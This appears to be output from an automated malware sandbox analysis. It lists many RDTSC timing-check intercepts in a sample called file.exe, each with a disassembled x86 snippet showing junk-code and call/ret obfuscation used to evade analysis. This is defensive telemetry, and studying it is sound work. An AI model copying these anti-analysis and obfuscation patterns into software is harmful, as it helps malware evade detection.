Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8B84 second address: 10E8B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8B88 second address: 10E8B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9F72 second address: 10E9FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 add ebx, 2CD62DE1h 0x0000000f mov bl, dl 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F8F4C502408h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dword ptr [ebp+1245CB43h], ecx 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 push 00000000h 0x00000037 cld 0x00000038 push eax 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F8F4C502411h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF88 second address: 10EEF8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEF8E second address: 10EF013 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F8F4C502408h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 add bx, F260h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007F8F4C502408h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 mov di, ax 0x00000047 call 00007F8F4C502414h 0x0000004c mov dword ptr [ebp+122D2986h], ebx 0x00000052 pop edi 0x00000053 push 00000000h 0x00000055 pushad 0x00000056 mov dword ptr [ebp+122D3867h], ebx 0x0000005c mov ah, 9Ah 0x0000005e popad 0x0000005f add dword ptr [ebp+122D2F49h], edx 0x00000065 xchg eax, esi 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 jnp 00007F8F4C502406h 0x0000006f pop eax 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF013 second address: 10EF018 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFEC6 second address: 10EFECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFECD second address: 10EFF41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, ebx 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F8F4CECCCE8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push edi 0x00000029 mov ebx, eax 0x0000002b pop ebx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F8F4CECCCE8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a push eax 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d pop eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F8F4CECCCEAh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED193 second address: 10ED198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED198 second address: 10ED20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8F4CECCCE6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F8F4CECCCE8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov bx, 1CA4h 0x0000002c push dword ptr fs:[00000000h] 0x00000033 mov di, dx 0x00000036 stc 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e call 00007F8F4CECCCEAh 0x00000043 mov dword ptr [ebp+124695F0h], eax 0x00000049 pop ebx 0x0000004a mov eax, dword ptr [ebp+122D14EDh] 0x00000050 xor bx, 16E7h 0x00000055 push FFFFFFFFh 0x00000057 sub dword ptr [ebp+122D363Dh], ebx 0x0000005d mov bx, di 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE107 second address: 10EE10B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF220 second address: 10EF23B instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F8F4CECCCEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED20B second address: 10ED210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F357F second address: 10F358B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F358B second address: 10F35C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 nop 0x00000007 movzx ebx, cx 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F8F4C502408h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov bx, di 0x0000002b xchg eax, esi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F35C1 second address: 10F35C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F35C7 second address: 10F35CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F015F second address: 10F018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F4CECCCEDh 0x00000008 js 00007F8F4CECCCE6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8F4CECCCF1h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F111C second address: 10F1126 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1126 second address: 10F113F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jp 00007F8F4CECCCE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f js 00007F8F4CECCCF8h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F113F second address: 10F1143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1143 second address: 10F11EC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F8F4CECCCE8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 jg 00007F8F4CECCCECh 0x0000002b mov dword ptr [ebp+122D373Ah], ebx 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov edi, 3FC63BB6h 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov dword ptr [ebp+122D3759h], eax 0x0000004a mov bh, 80h 0x0000004c mov eax, dword ptr [ebp+122D0599h] 0x00000052 push 00000000h 0x00000054 push eax 0x00000055 call 00007F8F4CECCCE8h 0x0000005a pop eax 0x0000005b mov dword ptr [esp+04h], eax 0x0000005f add dword ptr [esp+04h], 0000001Bh 0x00000067 inc eax 0x00000068 push eax 0x00000069 ret 0x0000006a pop eax 0x0000006b ret 0x0000006c mov di, 2D93h 0x00000070 push FFFFFFFFh 0x00000072 mov dword ptr [ebp+12458D41h], eax 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c jmp 00007F8F4CECCCF6h 0x00000081 push esi 0x00000082 pop esi 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5806 second address: 10F5818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a ja 00007F8F4C502406h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F387C second address: 10F3882 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDEFE second address: 10FDF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDF04 second address: 10FDF08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDF08 second address: 10FDF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DF71 second address: 108DFA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCECh 0x00000007 jl 00007F8F4CECCCF8h 0x0000000d jmp 00007F8F4CECCCF2h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 push eax 0x00000018 pop eax 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jo 00007F8F4CECCCE6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DFA9 second address: 108DFC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F4C502411h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DFC0 second address: 108DFD3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F4CECCCEEh 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007F8F4CECCCE6h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD772 second address: 10FD778 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD778 second address: 10FD77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD77E second address: 10FD79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4C502418h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD8C8 second address: 10FD8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F8F4CECCD1Fh 0x0000000b jmp 00007F8F4CECCCEAh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D94FF second address: 10D950C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102F3F second address: 1102F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105BAE second address: 1105BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 jne 00007F8F4C50240Eh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jno 00007F8F4C50241Ch 0x00000017 mov eax, dword ptr [eax] 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105BEA second address: 1105C0E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007F8F4CECCCF1h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109DB7 second address: 1109DDD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F8F4C502416h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091554 second address: 109155A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109155A second address: 1091568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F8F4C502406h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091568 second address: 1091572 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F4CECCCE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FC21 second address: 110FC25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FC25 second address: 110FC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FC2B second address: 110FC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FD9A second address: 110FDA9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FDA9 second address: 110FDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8F4C50240Eh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F4C502411h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FDD3 second address: 110FDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11101C6 second address: 11101CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111031D second address: 1110321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110321 second address: 1110347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502415h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007F8F4C502406h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111072E second address: 1110732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110732 second address: 111073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110F883 second address: 110F8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4CECCCF2h 0x00000009 jnc 00007F8F4CECCCE6h 0x0000000f popad 0x00000010 jmp 00007F8F4CECCCEBh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8F4CECCCF1h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110F8C0 second address: 110F8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111604B second address: 1116051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2765 second address: 10D27EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502412h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jno 00007F8F4C502414h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F8F4C502408h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c or ecx, dword ptr [ebp+122D2CA9h] 0x00000032 lea eax, dword ptr [ebp+124874C6h] 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F8F4C502408h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 push eax 0x00000053 pushad 0x00000054 push esi 0x00000055 pushad 0x00000056 popad 0x00000057 pop esi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D27EB second address: 10D27EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D27EF second address: 10D27F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D27F3 second address: 10B62FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F8F4CECCCE8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D3B25h], esi 0x0000002a call dword ptr [ebp+1245CDECh] 0x00000030 jp 00007F8F4CECCD08h 0x00000036 push eax 0x00000037 push edx 0x00000038 push esi 0x00000039 jg 00007F8F4CECCCE6h 0x0000003f pushad 0x00000040 popad 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2DDC second address: 10D2DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2DE0 second address: 10D2E4B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 756A5282h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F8F4CECCCE8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c and ecx, dword ptr [ebp+122D2EEDh] 0x00000032 sub edi, dword ptr [ebp+122D2D3Dh] 0x00000038 mov cx, dx 0x0000003b call 00007F8F4CECCCE9h 0x00000040 jmp 00007F8F4CECCCF6h 0x00000045 push eax 0x00000046 pushad 0x00000047 jl 00007F8F4CECCCECh 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2E4B second address: 10D2E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2E53 second address: 10D2E68 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2E68 second address: 10D2E6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2E6E second address: 10D2E73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D2F63 second address: 10D2F6D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3008 second address: 10D3041 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, esi 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F8F4CECCCE8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+124695F0h], edx 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3041 second address: 10D3046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3046 second address: 10D304B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D31CC second address: 10D31DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D31DF second address: 10D31F0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3895 second address: 10D3899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
